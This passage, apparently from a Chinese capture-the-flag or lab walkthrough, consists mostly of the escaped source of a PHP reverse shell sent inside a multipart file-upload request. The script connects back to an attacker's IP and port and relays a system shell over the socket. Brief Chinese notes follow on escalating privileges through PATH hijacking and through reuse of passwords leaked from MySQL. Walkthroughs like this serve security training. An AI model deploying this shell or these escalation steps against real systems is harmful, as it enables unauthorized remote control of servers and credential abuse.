&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;printit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;ERROR: Can&amp;#39;t spawn shell&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Set everything to non-blocking
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Reason: Occsionally reads will block, even though stream_select tells us they won&amp;#39;t
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;stream_set_blocking&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pipes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;stream_set_blocking&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pipes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;stream_set_blocking&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pipes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;stream_set_blocking&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;printit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Successfully opened reverse shell to &lt;/span&gt;&lt;span class="si"&gt;$ip&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="si"&gt;$port&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Check for end of TCP connection
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;feof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sock&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;printit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;ERROR: Shell connection terminated&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Check for end of STDOUT
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;feof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pipes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;printit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;ERROR: Shell process terminated&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Wait until a command is end down $sock, or some
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// command output is available on STDOUT or STDERR
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$read_a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$pipes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;$pipes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$num_changed_sockets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;stream_select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$read_a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$write_a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$error_a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// If we can read from the TCP socket, send
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;127&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// data to process&amp;#39;s STDIN
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;128&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$read_a&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;129&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$debug&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;printit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;SOCK READ&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;130&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;fread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$chunk_size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;131&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$debug&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;printit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;SOCK: &lt;/span&gt;&lt;span class="si"&gt;$input&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;132&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;fwrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pipes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;$input&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;133&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;134&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;135&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// If we can read from the process&amp;#39;s STDOUT
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;136&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// send data down tcp connection
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;137&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pipes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;$read_a&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;138&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$debug&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;printit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;STDOUT READ&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;139&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;fread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pipes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;$chunk_size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;140&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$debug&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;printit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;STDOUT: &lt;/span&gt;&lt;span class="si"&gt;$input&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;141&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;fwrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$input&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;142&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;143&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;144&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// If we can read from the process&amp;#39;s STDERR
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;145&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// send data down tcp connection
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;146&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pipes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;$read_a&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;147&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$debug&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;printit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;STDERR READ&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;148&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;fread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pipes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;$chunk_size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;149&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$debug&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;printit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;STDERR: &lt;/span&gt;&lt;span class="si"&gt;$input&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;150&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;fwrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$input&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;151&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;152&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;153&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;154&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;fclose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sock&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;155&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;fclose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pipes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;156&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;fclose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pipes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;157&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;fclose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pipes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;158&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;proc_close&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$process&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;159&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;160&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Like print, but does nothing if we&amp;#39;ve daemonised ourself
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;161&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// (I can&amp;#39;t figure out how to redirect STDOUT like a proper daemon)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;162&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;printit&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;163&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$daemon&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;164&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;$string&lt;/span&gt;&lt;span class="s2"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;165&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;166&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;167&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;168&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;169&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;170&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;171&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;172&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;------WebKitFormBoundary1vs6B8Q4tsVShuqH
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;173&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;Content-Disposition: form-data; name=&amp;#34;submit&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;174&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;175&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;Upload
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;176&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;------WebKitFormBoundary1vs6B8Q4tsVShuqH--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250724095948666" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250724095948666.png"&gt;&lt;/p&gt;
&lt;h2 id="提权root"&gt;提权root
&lt;/h2&gt;&lt;h3 id="路径劫持攻击kane提权为mike"&gt;路径劫持攻击，kane提权为mike
&lt;/h3&gt;&lt;p&gt;&lt;img alt="image-20250724100131815" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250724100131815.png"&gt;&lt;/p&gt;
&lt;p&gt;home文件夹下发现有几个用户名，其中三个正是刚刚mysql中泄露了，猜测终端的用户密码可能和mysql中泄露的密码一样，尝试一下就真的进入了，典型的密码复用问题。&lt;/p&gt;
